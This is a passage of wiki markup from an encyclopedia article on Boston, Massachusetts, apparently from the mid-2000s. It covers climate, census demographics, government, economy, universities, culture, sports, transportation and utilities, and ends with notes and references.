! style=&quot;background: #99CCCC; color:#000080;&quot; height=&quot;16;&quot; | Avg low temperature [°C](°F)
| style=&quot;background: #FFFFCC; color: black;&quot; | -6 (22)
| style=&quot;background: #FFFFCC; color: black;&quot; | -4 (24)
| style=&quot;background: #FFFFCC; color: black;&quot; | -1 (31)
| style=&quot;background: #FFFF99; color: black;&quot; | 5 (41)
| style=&quot;background: #FFCC66; color: black;&quot; | 10 (50)
| style=&quot;background: #FFCC66; color: black;&quot; | 15 (59)
| style=&quot;background: #FFCC00; color: black;&quot; | 18 (65)
| style=&quot;background: #FFCC00; color: black;&quot; | 18 (64)
| style=&quot;background: #FFCC66; color: black;&quot; | 14 (57)
| style=&quot;background: #FFFF99; color: black;&quot; | 8 (46)
| style=&quot;background: #FFFFCC; color: black;&quot; | 3 (38)
| style=&quot;background: #FFFFCC; color: black;&quot; | -2 (28)
| style=&quot;background: #FFFF99; color: black;&quot; | 6 (44)
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; | Rainfall ([[millimeters]])(inches)
| style=&quot;background: #2288BB;&quot; | 99.6 (3.92)
| style=&quot;background: #66CCFF;&quot; | 83.8 (3.30)
| style=&quot;background: #2288BB;&quot; | 97.8 (3.85)
| style=&quot;background: #44AADD;&quot; | 91.4 (3.60)
| style=&quot;background: #66CCFF;&quot; | 82.3 (3.24)
| style=&quot;background: #66CCFF;&quot; | 81.8 (3.22)
| style=&quot;background: #66CCFF;&quot; | 77.7 (3.06)
| style=&quot;background: #44AADD;&quot; | 85.6 (3.37)
| style=&quot;background: #44AADD;&quot; | 88.1 (3.47)
| style=&quot;background: #2288BB;&quot; | 96.3 (3.79)
| style=&quot;background: #2288BB;&quot; | 101.1 (3.98)
| style=&quot;background: #2288BB;&quot; | 94.7 (3.73)
| style=&quot;background: #2288BB;&quot; | 1080.2 (42.53)
|}

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations{{ref|census}}
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| [[U.S. Census, 1790|1790]] || align=&quot;right&quot; | 18,320
|-
| align=&quot;center&quot;| [[U.S. Census, 1800|1800]] || align=&quot;right&quot; | 24,937
|-
| align=&quot;center&quot;| [[U.S. Census, 1810|1810]] || align=&quot;right&quot; | 33,787 
|-
| align=&quot;center&quot;| [[U.S. Census, 1820|1820]] || align=&quot;right&quot; | 43,298
|-
| align=&quot;center&quot;| [[U.S. Census, 1830|1830]] || align=&quot;right&quot; | 61,392
|-
| align=&quot;center&quot;| [[U.S. Census, 1840|1840]] || align=&quot;right&quot; | 93,383
|-
| align=&quot;center&quot;| [[U.S. Census, 1850|1850]] || align=&quot;right&quot; | 136,881
|-
| align=&quot;center&quot;| [[U.S. Census, 1860|1860]] || align=&quot;right&quot; | 177,840
|-
| align=&quot;center&quot;| [[U.S. Census, 1870|1870]] || align=&quot;right&quot; | 250,526
|-
| align=&quot;center&quot;| [[U.S. Census, 1880|1880]] || align=&quot;right&quot; | 362,839
|-
| align=&quot;center&quot;| [[U.S. Census, 1890|1890]] || align=&quot;right&quot; | 448,477
|-
| align=&quot;center&quot;| [[U.S. Census, 1900|1900]] || align=&quot;right&quot; | 560,892
|-
| align=&quot;center&quot;| [[U.S. Census, 1910|1910]] || align=&quot;right&quot; | 670,585
|-
| align=&quot;center&quot;| [[U.S. Census, 1920|1920]] || align=&quot;right&quot; | 748,060
|-
| align=&quot;center&quot;| [[U.S. Census, 1930|1930]] || align=&quot;right&quot; | 781,188
|-
| align=&quot;center&quot;| [[U.S. Census, 1940|1940]] || align=&quot;right&quot; | 770,816
|-
| align=&quot;center&quot;| [[U.S. Census, 1950|1950]] || align=&quot;right&quot; | 801,444
|-
| align=&quot;center&quot;| [[U.S. Census, 1960|1960]] || align=&quot;right&quot; | 697,197
|-
| align=&quot;center&quot;| [[U.S. Census, 1970|1970]] || align=&quot;right&quot; | 641,071
|-
| align=&quot;center&quot;| [[U.S. Census, 1980|1980]] || align=&quot;right&quot; | 562,994
|-
| align=&quot;center&quot;| [[U.S. Census, 1990|1990]] || align=&quot;right&quot; | 574,283
|-
| align=&quot;center&quot;| [[U.S. Census, 2000|2000]] || align=&quot;right&quot; | 589,141
|-

|}
As of the [[U.S. Census|census]]{{GR|2}} of 2000, there were 589,141 people, 239,528 households, and 115,212 families residing in the city.  The [[population density]] was 4,697/km&amp;sup2; (12,166/mi&amp;sup2;). There were 251,935 housing units at an average density of 2,009/km&amp;sup2; (5,203/mi&amp;sup2;). The [[Irish ethnicity|Irish]] are the largest ethnic group in the city of Boston, and Boston is commonly considered the capital of &quot;[[Irish American|Irish America]]&quot;. [[Italians]] also form a very large segment of the city's population. The racial makeup of the city was 49.48% [[White (U.S. Census)|White]], 27.33% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.40% [[Native American (U.S. Census)|Native American]], 7.52% [[Asian American]], 0.06% [[Pacific Islander (U.S. Census)|Pacific Islander]], 7.83% from [[Race (U.S. Census)|other races]], and 4.39% from two or more races.  14.44% of the population was [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race. These figures became less reliable because of the large, partly undocumented Brazilian population, estimated by some studies to approach 250,000 in Massachusetts. Census data did not account for this significant segment of the community because of confusing terminology, as Brazilians speak [[Portuguese language|Portuguese]] and often do not consider themselves specifically Hispanic, Latino, White or African American.

[[Image:Boston_area_income.gif|thumb|200px|left|Per capita income in the greater Boston area, by US Census block group]]
There were 239,528 households out of which 22.7% had children under the age of 18 living with them, 27.4% were [[Marriage|married couples]] living together, 16.4% had a female householder with no husband present, and 51.9% were non-families. 37.1% of all households were made up of individuals and 9.1% had someone living alone who was 65 years of age or older. The average household size was 2.31 and the average family size was 3.17.

In the city the population was spread out with 19.8% under the age of 18, 16.2% from 18 to 24, 35.8% from 25 to 44, 17.8% from 45 to 64, and 10.4% who were 65 years of age or older. The median age was 31 years. For every 100 females, there were 92.8 males. For every 100 females age 18 and over, there were 90.2 males.

The [[median]] income for a household in the city was $39,629, and the median income for a family was $44,151. Males had a median income of $37,435 versus $32,421 for females. The [[per capita income]] for the city was $23,353. 19.5% of the population and 15.3% of families are below the [[poverty line]]. Out of the total population, 25.6% of those under the age of 18 and 18.2% of those 65 and older were living below the poverty line.

Boston has the second-largest work day population increase in the country just after [[Washington D.C.]] The population is pushed up to one million or more on an average week day. On days with major events such as baseball or basketball games the population can easily increase to 1.5 million. Like many other major cities in the 1950s and 1960s, Boston's population decreased dramatically due to new highway systems that made it easier to access the suburbs and outer regions.

{{seealso|Neighborhoods in Boston, Massachusetts}}

==Law and government==
Boston has a &quot;strong mayor&quot; system in which the [[mayor]] is vested with extensive executive powers. The mayor is elected to a four-year term by [[plurality electoral system|plurality voting]]. The city council is elected every two years. There are nine district seats, each elected by the residents of that district through plurality voting, and four at-large seats. Each voter casts up to four votes for at-large councilors, no more than one vote per candidate. The candidates with the four highest vote totals are elected. The president of the city council, currently [[Michael F. Flaherty]], is elected by the councilors from within themselves. The school committee is appointed by the mayor, as are city department heads.
[[Image:Massachusetts State House frontal view.jpg|thumb|right|86KB|[[Massachusetts State House]]]]
In addition to city government, numerous state authorities and commissions play a role in the life of Bostonians, including the [[Massachusetts Department of Conservation and Recreation]] and the [[Massachusetts Port Authority|Massachusetts Port Authority (Massport)]]. As the capital of Massachusetts, Boston plays a major role in [[Massachusetts#Politics|state politics]]. Boston is also the [[Federal government of the United States|United States federal government]] center for New England. Properties include the [[John F. Kennedy Federal Office Building]] and the [[Thomas P. O'Neil Federal Building]]. The city also serves as the home of the [[United States Court of Appeals for the First Circuit]], the [[United States District Court for the District of Massachusetts]], as well as the headquarters of the [[Federal Reserve Bank of Boston]] (the First District of the [[Federal Reserve]]). The city is in the [[United States House of Representatives, Massachusetts District 8|Eighth]] and [[United States House of Representatives, Massachusetts District 9|Ninth]] [[Congressional district]]s.

Boston's low crime rate in the last years of the 20th century and the beginning of the 21st has been credited to its police department's collaboration with neighborhood groups and church parishes to prevent youths from joining gangs, as well as heavy involvement from the [[District Attorney]]'s office. The current DA for Suffolk County and Boston, [[Daniel F. Conley]], spent nearly ten years working at reducing gang violence in the city. This helped lead in part to what has been touted as the &quot;Boston Miracle.&quot; Murders in the city dropped from 152 in 1990 (for a murder rate of 26.5 per 100,000 people) to just 31—not one of them a juvenile—in 1999 (for a murder rate of 5.26 per 100,000).

In more recent years, however, the annual murder count has fluctuated by as much as 50% compared to the year before, with 60 murders in 2002, followed by just 39 in 2003, 64 in 2004, and 75 in 2005. Though the figures are nowhere near the high-water mark set in 1990, the aberrations in the murder rate have been unsettling for many Bostonians and have prompted discussion over whether the Boston Police Department should reevaluate its approach to fighting crime.{{ref|crime}}{{ref|crime2}}{{ref|crime3}}

Boston has eight [[Town twinning|sister cities]], as designated by [http://www.sister-cities.org/ Sister Cities International] (SCI): [[Barcelona]] ([[Spain]]), [[Hangzhou]] ([[People's Republic of China]]), [[Kyoto, Kyoto|Kyoto]] ([[Japan]]), [[Melbourne]] ([[Australia]]), [[Padua]] ([[Italy]]), [[Strasbourg]] ([[France]]), [[Sekondi-Takoradi]] ([[Ghana]]), and [[Taipei]] ([[Taiwan]]). The city has thrice been a recipient of the [[All-America City Award]], the oldest and most respected civic award in the U.S.

{{Infobox Mass Town Govt |
| county= Suffolk
| clerk_courts = [[Michael Joseph Donovan]]
| cty_treasurer =
| da = [[Daniel F. Conley]]
| deeds = [[Francis Roache]]
| probate = [[Richard Iannella]]
| sheriff = [[Andrea J. Cabral]]
| state_rep =[[Anthony Petruccelli]], [[Salvatore DiMasi]], [[Brian Wallace]], [[Marie St. Fleur]], [[Shirley Owens-Hicks]], [[Gloria Fox]], [[Paul Demakis]], [[Byron Rushing]], [[Michael Rush]], [[Elizabeth Malia]], [[Linda Dorcena-Forry]], [[Martin Walsh]], [[Angelo Scaccia]], [[Jeffrey Sanchez]], [[Kevin Honan]], [[Michael Moran]]
| state_sen = [[Jarrett Barrios]], [[Eugene L. O'Flaherty]], [[Marian Walsh]], [[Steven A. Tolman]], [[John Hart, Jr.]], [[Dianne Wilkerson]], [[Robert Travaglini]]
| gov_councilors = [[Michael J. Callahan]], [[Kelly A. Timilty]], [[Marilyn M. Petitto Devaney]]
| fed_rep = [[Michael Capuano]] (D-[[United States House of Representatives, Massachusetts District 8|8th District]]),&lt;br&gt;[[Steven Lynch]] (D-[[United States House of Representatives, Massachusetts District 9|9th District]])
| fed_sen = [[Edward Kennedy]] (D)&lt;br&gt;[[John Kerry]] (D)}}

{{seealso|List of Mayors of Boston, Massachusetts}}

==Economy==
[[Image:Bos-downtown.jpg|200px|thumb|Boston's [[Back Bay, Boston|Back Bay]] viewed over the [[Charles River]] from the [[Charles River Esplanade|Esplanade]].]]

Boston's colleges and universities have a major impact on the city and region's economy. Not only are they major employers, but they also attract high-tech industries to the city and surrounding region, including computer hardware and software companies as well as [[biotechnology]] companies like [[Millennium Pharmaceuticals]] and [[Biogen Idec]]. Boston recieves the highest amount of annual funding from the [[National Institutes of Health]] of all cities in the United States.{{ref|NIH}}

Other important industries include [[financial services]], especially [[mutual fund]]s and [[insurance]]. Boston-based [[Fidelity Investments]] helped popularize the mutual fund in the 1980s, and has made Boston one of the top financial cities in the United States. The city is also the regional headquarters of major banks such as [[Bank of America]] and Sovereign Bank, and a center for [[venture capital]]. Boston is also a printing and publishing center. Textbook publisher [[Houghton Mifflin]] is headquartered within the city. The city is also a major convention destination with four major [[convention center]]s: the Hynes Convention Center in the Back Bay, the Bayside Expo Center in Dorchester, and the World Trade Center Boston and Boston Convention &amp; Exhibition Center on the South Boston waterfront. Because of its status as a state capital and the regional home of federal agencies, law and government is another major component of the city's economy.

Major companies headquartered within the city include [[The Gillette Company|Gillette]], owned by [[Procter &amp; Gamble]], and [[Teradyne]], one of the world's leading manufacturers of semiconductors and other electronic equipment. [[New Balance Athletic Shoe, Inc.]] has its headquarters in the city. Other major companies are located outside the city, especially along [[Massachusetts Route 128|Route 128]]. The [[Port of Boston]] is the largest and busiest seaport in Massachusetts. It is also a major seaport along the United States east coast as well as a major [[fishing]] port.

:''See also: [[Greater Boston#Major companies|Major companies in Greater Boston]]''

==Education==
===Colleges and universities===
Boston's reputation as the ''Athens of America'' derives in large part from the teaching and research activities of over 100 colleges and universities located in its metropolitan area. [[Boston College]] was the first [[institution of higher education]] established in the city. It was originally located in the [[South End]] before moving to [[Chestnut Hill, Massachusetts|Chestnut Hill]], on the city's western edge. Its campus, initially envisioned as an ''Oxford in America'', subsequently expanded so that almost half of it is now within the city's political boundaries. [[Boston University]], now the city's second largest employer and one of the largest private universities in the country, was originally established in Vermont before moving to [[Brookline, Massachusetts|Brookline]] and later to its present campus in the Back Bay in the 1950s. [[Harvard University]], the nation's oldest institution of higher learning, is based across the Charles River in [[Cambridge, Massachusetts|Cambridge]]; however, most of its current land holdings lie in Boston. These holdings include the [[Arnold Arboretum]], and its [[Harvard Business School|business]] and [[Harvard Medical School|medical]] schools. Harvard recently announced plans to expand its main campus across the Charles River into Boston's [[Allston, Boston, Massachusetts|Allston]] neighborhood, which already hosts some of the university's dormitories and sports facilities. The [[Massachusetts Institute of Technology]] (MIT) operates several major laboratories within the city. [[Emerson College]], a highly regarded arts &amp; communications school, maintains a campus near the Theatre District at the southwest corner of [[Boston Common]]. [[Northeastern University]], a large private university with a distinctive work/study program, maintains a campus in the Fenway district. [[Suffolk University]], a small private university known for its law school, maintains a campus on Beacon Hill. The city is also home to a number of conservatories and art schools, including the [[Massachusetts College of Art]], [[New England Conservatory]], [[Boston Conservatory]], and [[Berklee College of Music]].

===Primary and secondary schools===
Boston Public Schools, the oldest public school system in the U.S., enrolls 58,600 students from [[kindergarten]] to grade 12. The system operates 145 schools, which includes [[Boston Latin School]] (the oldest public school, established in 1635), [[English High]] (the oldest public [[high school]], established 1821), and Mather (the oldest public elementary school, established in 1639).{{ref|school}} The city also has private, parochial, and [[charter school]]s. 3000 students of racial minorities attend participating suburban schools through the Metropolitan Educational Opportunity Council, or METCO.

{{seealso|List of colleges and universities in metropolitan Boston}}

==Culture==
[[Image:Charles River Esplanade, Boston, Massachusetts.JPG|thumb|right|200px|A summer day on the [[Charles River esplanade]].]]
{{main|Culture in Boston, Massachusetts}}
Boston shares many cultural roots with greater [[New England]], including a dialect of the [[American English#Eastern New England|Eastern New England]] accent popularly known as [[Boston English]], and a [[New England cuisine|regional cuisine]] with a large emphasis on seafood and dairy products. [[Irish Americans|Irish Americans]] are a major influence on Boston's politics and religious institutions and consequently on the rest of Massachusetts. Italian, Chinese, and Hispanic groups also have major contributions to Boston's cultural composition. Boston has its own collection of [[neologism|neologisms]] known as [[Boston slang]].

Many consider Boston a highly cultured city, perhaps as a result of its intellectual reputation. Much of Boston's culture originates at its universities. The city also has a number of ornate theatres, including the [[Cutler Majestic Theatre]] and [[The Wang Center for the Performing Arts]]. Renowned performing arts groups include the [[Boston Ballet]], [[Boston Symphony Orchestra]], [[Boston Pops]], [[Boston Lyric Opera|Boston Lyric Opera Company]], and the [[Handel and Haydn Society]] (the oldest choral company in the United States). There are a number of major annual events such as [[First Night]], which occurs during [[New Year's Eve]], and several events during the [[Independence Day (US)|Fourth of July]]. These events include the weeklong Harborfest festivities and a Boston Pops concert accompanied by fireworks on the banks of the [[Charles River]].

[[Image:Faneuil Hall Boston MA USA.jpg|thumb|200px|[[Faneuil Hall]], looking at the east side]]
In contrast to what might be considered the more &quot;refined&quot; aspects of Boston's culture, the city is also one of the birthplaces of the [[hardcore punk]] genre of music. Boston musicians have contributed greatly to the [[Hardcore punk|hardcore]] scene over the years (''see also [[Boston hardcore]]'').  Boston also had one of the leading local [[ska]] scenes in the ska revival of the mid-1990s with bands like [[The Mighty Mighty Bosstones]], [[The Allstonians]], and Skavoovie and the Epitones.

===Media===
{{main|Media in Boston, Massachusetts}}

''[[The Boston Globe]]'', owned by the [[New York Times Company]], and ''[[The Boston Herald]]'' are Boston's two major daily [[newspaper]]s. The city is also served by a number of smaller publications such as ''[[The Boston Phoenix]]'' and ''The Improper Bostonian''.

Boston has the largest broadcasting market in New England, with the Boston radio market being the eleventh largest in the United States.{{ref|radio}} Several major [[amplitude modulation|AM]] stations include [[talk radio]] [[WRKO|WRKO 680 AM]], [[sports radio|sports]]/talk station [[WEEI|WEEI 850 AM]], and news radio [[WBZ (AM)|WBZ 1030 AM]]. A variety of [[Frequency modulation|FM]] [[radio format|radio formats]] serve the area as well as [[National Public Radio|NPR]] stations [[WBUR]] and [[WGBH]]. University radio stations include [[WZBC]] (Boston College), [[WERS]] (Emerson), and [[WUMB]] (UMass Boston).

The Boston television [[Designated market area|DMA]], which also includes [[Manchester, New Hampshire]], is the fifth largest in the United States.{{ref|TV}} The city is served by stations representing every major [[List of United States broadcast television networks|American network]] including [[WBZ-TV|WBZ 4]] ([[CBS]]), [[WCVB-TV|WCVB 5]] ([[American Broadcasting Company|ABC]]), [[WHDH-TV|WHDH 7]] ([[NBC]]), [[WFXT|WFXT 25]] ([[Fox Broadcasting Company|FOX]]), [[WSBK-TV|WSBK 38]] ([[UPN]]), and [[WLVI|WLVI 56]] ([[The WB Television Network|WB]]). Boston is also home to [[Public Broadcasting Service|PBS]] station [[WGBH|WGBH 2]], which also operates [[WGBX|WGBX 44]]. WGBH is a major producer of PBS programs. Most Boston television stations have their transmitters in nearby [[Needham, Massachusetts|Needham]] and [[Newton, Massachusetts|Newton]].

===Sites of interest===
[[Image:FrogPondBostonCommon.JPG|thumb|250px|The Frog Pond in the Boston Common.]]
{{main|Sites of interest in Boston, Massachusetts}}

Because of the city's prominent role in the [[American Revolution]], several historic sites relating to that period are preserved as part of the [[Boston National Historical Park]]. Many are found along the [[Freedom Trail]], which is marked by a red line or bricks embedded in the ground. Also along the Freedom Trail is [[Boston Common]], with the [[Boston Public Garden]] being adjacent. Boston Common is part of the [[Emerald Necklace]], a string of parks designed by [[Frederick Law Olmstead]]. In the winter, the Frog Pond at Boston Common doubles as a popular ice-skating rink. Another major park is the [[Esplanade]] located along the banks of the [[Charles River]]. A major recreation site for many Bostonians, it is also the site of the [[Hatch Shell]]. Other parks are scattered throughout the city, with the major parks located near [[Castle Island]], Charlestown, the Dorchester shoreline, and East Boston.

[[Image:Boston Back Bay.jpg|thumb|250px|Back Bay]]
The [[Back Bay, Boston|Back Bay]] district includes many prominent landmarks such as the [[Church of Christ, Scientist|Christian Science Center]], [[Boston Public Library]], [[Copley Square]], and [[Newbury Street]]. Back Bay is also the home of two of New England's tallest buildings: the [[John Hancock Tower]] and the [[Prudential Center]].{{ref|Skyscraper}} Near the John Hancock Tower is the [[John Hancock Tower#The Berkeley Building (the &quot;old John Hancock Building&quot;)|old John Hancock Building]] with its prominent weather forecast beacon. Other notable districts/neighborhoods include [[Beacon Hill, Boston, Massachusetts|Beacon Hill]], [[Charlestown, Massachusetts|Charlestown]], [[Chinatowns in North America#Massachusetts|Chinatown]], [[Downtown Crossing]], [[North End]], and [[South Boston]].

Boston is home to several world-renowned museums, including the [[Museum of Fine Arts, Boston|Museum of Fine Arts]], the [[Isabella Stewart Gardner Museum]], and the [[Museum of Science, Boston|Museum of Science]]. The [[University of Massachusetts]] campus at Columbia Point houses the [[John F. Kennedy Library]]. The [[New England Aquarium]], [[Franklin Park Zoo]], [[Boston Athenaeum]] (one of the oldest independent libraries in the United States), and the [[Boston Children's Museum]] are located within the city.

There are also two self-guided walking tours: Harbor Walk, which is designed to allow people the walk the entire shore of [[Boston Harbor]], and the [[Black Heritage Trail]]. A popular guided tour is the Boston Duck Tour, which uses World War II-era [[DUKW|duck boat]]s. The outer suburbs of Boston, which tend to be forested, have vibrantly colored foliage every [[autumn#Autumn and tourism|autumn]] that attracts many tourists.

===Sports===
[[Image:Fenway park.jpg|thumb|right|200px|A [[Boston Red Sox]] [[baseball]] game at [[Fenway Park]]]]
The [[TD Banknorth Garden]] (formerly called the Fleet Center) is near [[North Station (Boston)|North Station]] is the home of two major league teams: the [[Boston Bruins]] [[ice hockey]] team ([[National Hockey League]]) and the [[Boston Celtics]] [[basketball]] team ([[National Basketball Association]]). The Celtics have the distinction of having more World Championships than any other NBA team with 16 championships from 1957 to 1986.

The [[baseball]] team [[Boston Red Sox]] is a member of the [[American League]] of [[Major League Baseball]]. Their home at [[Fenway Park]], located near [[Kenmore Square]], is the oldest ballpark in active use in the United States. Boston was once the home of the [[National League]] baseball team [[Atlanta Braves|Boston Braves]] as well as the site of the first [[World Series]] in 1903. The game was played between the Boston Americans (currently the Boston Red Sox) and the [[Pittsburgh Pirates]].{{ref|MLB}}

Once the [[Boston Patriots]], a charter team of the [[American Football League]], the [[National Football League|NFL]]'s [[New England Patriots]] [[American football|football]] team plays in nearby [[Foxborough, Massachusetts|Foxboro]]. Boston fans travel there to see the Patriots and the [[New England Revolution]] [[soccer]] team of [[Major League Soccer]]. Both teams play at [[Gillette Stadium]]. Another major league team is the [[lacrosse]] team [[Boston Cannons]] of [[Major League Lacrosse]]. The team plays at [[Boston University]]'s [[Nickerson Field]].

Boston's many colleges and universities field sports teams. The most prominent include [[Boston College]] (member of the [[Atlantic Coast Conference]]), [[Boston University]] ([[America East Conference]]), [[Northeastern University, Boston|Northeastern University]] ([[Colonial Athletic Association]]), and [[Harvard University]]. The hockey teams of these four universities meet every year in an immensely popular four-team tournament known as the &quot;[[Beanpot]]&quot;. The city is also the site of two other major annual sporting events: the [[Boston Marathon]], the world-famous 26-mile run from [[Hopkinton, Massachusetts|Hopkinton]] to Copley Square in Boston, and the [[Head of the Charles Regatta]] rowing competition on the Charles River.

{{seealso|U.S. cities with teams from four major sports}}

==Infrastructure==
===Health and medicine===
As the home to some of the world's most respected research [[hospital]]s, Boston enjoys an international reputation in the medical field. The [[Longwood Medical Area]] is a region of Boston with a concentration of medical and research facilities, including [[Beth Israel Deaconess Medical Center]], [[Brigham and Women's Hospital]], [[Children's Hospital Boston|Children's Hospital]], [[Dana-Farber Cancer Institute]], and [[Harvard Medical School]]. Beth Israel Deaconess Medical Center and Brigham and Women's Hospital were both formed by mergers: the former between Beth Israel Hospital and New England Deaconess Hospital, and the latter by Peter Bent Brigham Hospital and the Boston Hospital for Women. [[Massachusetts General Hospital]] (MGH) is located near the Beacon Hill neighborhood, with the [[Massachusetts Eye and Ear Infirmary]] and [[Spaulding Rehabilitation Hospital]] nearby. Boston also has [[United States Department of Veterans Affairs|VA]] medical centers in the Jamaica Plain and West Roxbury neighborhoods.

Many of Boston's major medical facilities are associated with universities. The facilities in the Longwood Medical Area and MGH are world-renowned research medical centers affiliated with Harvard Medical School. New England Medical Center, located in the southern portions of the Chinatown neighborhood, is affiliated with [[Tufts University]]. Boston Medical Center, located in the South End neighborhood, is the primary teaching facility for the [[Boston University]] School of Medicine as well as the largest [[trauma center]] in the Boston area; it was formed by the merger of Boston University Hospital and Boston City Hospital.

===Transportation===
[[Image:Longfellow Bridge 2.jpg|thumb|200px|right|Longfellow Bridge across the Charles River, with two [[MBTA]] Red Line trains. The [[Beacon Hill, Boston, Massachusetts|Beacon Hill]] neighborhood is in the background.]]
{{main|Boston transportation}}

[[Logan International Airport]], located in the [[East Boston, Massachusetts|East Boston]] neighborhood, is the major airport serving Boston. Another airport serving the city and surrounding areas is [[Hanscom Field]] in [[Lexington, Massachusetts|Lexington]] and [[Bedford, Massachusetts|Bedford]]. [[T. F. Green Airport]] in [[Providence, Rhode Island]], and [[Manchester Airport (US)|Manchester Airport]] in [[Manchester, New Hampshire]], are airports outside Massachusetts which serve as secondary facilities.

Boston's streets appear as though they were not planned, evolving from centuries-old foot and cow paths. Except for the reclaimed [[Back Bay, Boston, Massachusetts|Back Bay]] and part of [[South Boston, Massachusetts|South Boston]], the city has no [[Grid plan|street grid]]. Boston has been described as a &quot;City of Squares&quot;, referring to the tradition of naming the intersections of major thoroughfares after prominent city residents. Roads change names and lose and add lanes seemingly at random. The city also has a number of [[rotary intersection|rotaries]], which have confused many drivers. In its March 2006 issue, ''Bicycling'' magazine named Boston as one of the three worst cities in U.S. for cycling, though the city does have a huge cult following of the activity, especially fixed gear.

Boston is the eastern terminus of [[Interstate 90|I-90]], also known as the [[Massachusetts Turnpike|Mass Pike]]. [[Interstate 95|I-95]], which surrounds the city, is locally referred to by its historical state route numbering &amp;mdash; [[Massachusetts Route 128|Route 128]]. [[U.S. Highway 1|US 1]] and [[Interstate 93|I-93]] runs north to south through the city. The most infamous portion, the [[Central Artery]], runs through downtown Boston and was constantly prone to heavy traffic. Through the [[Big Dig]] the elevated highway was replaced with an underground tunnel.

The [[Massachusetts Bay Transportation Authority]] (MBTA) operated the nation's first underground subway system, which has since been expanded to an extensive [[Massachusetts Bay Transportation Authority#subway|rapid transit system]] reaching as far north as [[Malden, Massachusetts|Malden]], as far south as [[Braintree, Massachusetts|Braintree]], and as far west as [[Newton, Massachusetts|Newton]]. Collectively known as the &quot;T&quot;, the MBTA also operates an extensive network of [[MBTA Bus|bus lines]] and water shuttles, and a [[MBTA Commuter Rail|commuter rail]] network extending north to the [[Merrimack River]] valley, west to [[Worcester, Massachusetts|Worcester]], and south to [[Providence, Rhode Island]].

Amtrak's [[Northeast Corridor]] and [[Chicago, Illinois|Chicago]] lines originate at [[South Station (Massachusetts Bay Transportation Authority)|South Station]] and stop at [[Back Bay (Massachusetts Bay Transportation Authority)|Back Bay]]. Fast Northeast Corridor trains, which service [[New York City]], [[Washington, D.C.]], and points in between, also stop at [[Route 128 Station]] in the southwestern suburbs of Boston. Meanwhile, Amtrak's [[Downeaster]] service to [[Maine]] originates at [[North Station (Boston)|North Station]].

===Utilities===
Water supply and sewage-disposal services are provided by the [[Boston Water and Sewer Commission]]. The Commission in turn purchases wholesale water and sewage disposal from the [[Massachusetts Water Resources Authority]] (MWRA).  Established as a public authority in 1984, the MWRA pipes water from reservoirs in Western and Central Massachusetts, notably the [[Quabbin Reservoir|Quabbin]] and [[Wachusett Reservoir|Wachusett Reservoirs]], for several communities within Greater Boston. The agency operates several facilities for sewage treatment, notably an effluent tunnel in Boston Harbor and the Deer Island Wastewater Treatment Plant near the mouth of Boston Harbor.

[[NSTAR]] is the exclusive ''distributor'' of [[electric power]] to the city, though due to deregulation, customers now have a choice of electric ''generation'' companies. [[Natural gas]] is distributed by [[KeySpan Corporation]] (the successor company to Boston Gas); only commercial and industrial customers may choose an alternate natural gas supplier. [[Verizon]], successor to [[New England Telephone]], [[NYNEX]], and [[Bell Atlantic]], is the primary wired telephone service provider for the area. Phone service is also available from various [[List of United States mobile phone companies|national wireless companies]]. [[Cable television]] is available from [[Comcast]] and [[RCN]]. [[Broadband Internet access]] is provided by Comcast and RCN in certain areas. [[Satellite television]] is available from [[Dish Network]] and [[DirecTV]].  A variety of [[digital subscriber line|DSL]] providers and resellers are able to provide broadband Internet over Verizon-owned phone lines.

==See also==
*[[Notable Bostonians]]
*[[List of television shows set in Boston]]
*[[List of films, operas, and plays set in Boston]]
*[[List of Boston skyscrapers]]
*[[Boston in fiction]]
*[[Fictional people from Boston]]
*[[Banned in Boston]]

==Notes==
#{{note|landfillfoot}}[http://www.iboston.org/rg/backbayImap.htm The History of Land Fill in Boston] ''iBoston.org''. Accessed January 9, 2006.  Also see [http://www.bc.edu/bc_org/avp/cas/fnart/fa267/bos_fill2.html Boston: History of the Landfills]
#{{note|temperature}}[http://weather.yahoo.com/climo/USMA0046_c.html Records and Averages - Boston (2005)]. ''Yahoo! Weather''. Accessed September 13, 2005.
#{{note|census}}[http://www.census.gov/population/www/documentation/twps0027.html Population of the 100 Largest Cities and Other Urban Places in the United States: 1790 to 1990 (June 1998)]. ''U.S. Census Bureau''.
#{{note|crime}}Winship, Christopher (March 2002). [http://www.wjh.harvard.edu/soc/faculty/winship/End_of_a_Miracle.pdf End of a Miracle?] ''Harvard University''. 
#{{note|crime2}}[http://www.ci.boston.ma.us/police/ore.asp Boston Police Department's Monthly Crime Statistics (2005)]. ''CityOfBoston.gov''.
#{{note|crime3}}[http://boston.areaconnect.com/crime1.htm Boston MA Crime Statistics (2004 - New Crime Data)]. ''areaConnect.com''.
#{{note|NIH}}[http://www.ssti.org/Digest/Tables/022006t.htm Top 100 NIH Cities, 2004]. ''SSTI.org''.
#{{note|school}}[http://www.boston.k12.ma.us/bps/bpsglance.asp The Boston Public Schools at a Glance (2004)].   ''Boston Public School''. Accessed October 5, 2005.
#{{note|radio}}[http://www.arbitron.com/radio_stations/mm001050.asp Arbitron - Market Ranks and Schedule, 1-50 (Fall 2005)].
#{{note|TV}}[http://www.nielsenmedia.com/DMAs.html Nielsen Media - DMA Listing (September 24, 2005)].
#{{note|Skyscraper}}[http://www.emporis.com/en/wm/ci/?id=101045 Boston Skyscrapers. ''Skyscrapers.com'']. Accessed May 15, 2005.
#{{note|MLB}}[http://mlb.mlb.com/NASApp/mlb/mlb/history/postseason/mlb_ws_recaps.jsp?feature=1903 1903 World Series - Major League Baseball: World Series History. ''MLB.com''].

==References==
*[http://www.tbf.org/indicatorsProject/ The Boston Indicators Project (2004)]. ''The Boston Foundation''.
*{{cite book| author= Ira Gershkoff and Richard Trachtman | title=The Boston Driver's Handbook | publisher=Da Capo Press | year=2004 | id=ISBN 0306813262}}
*{{cite book| author=Patricia Harris and David Lyon | title=Boston | publisher=Oakland, CA: Compass American Guides | year=1999 | id=ISBN 0679002847}}
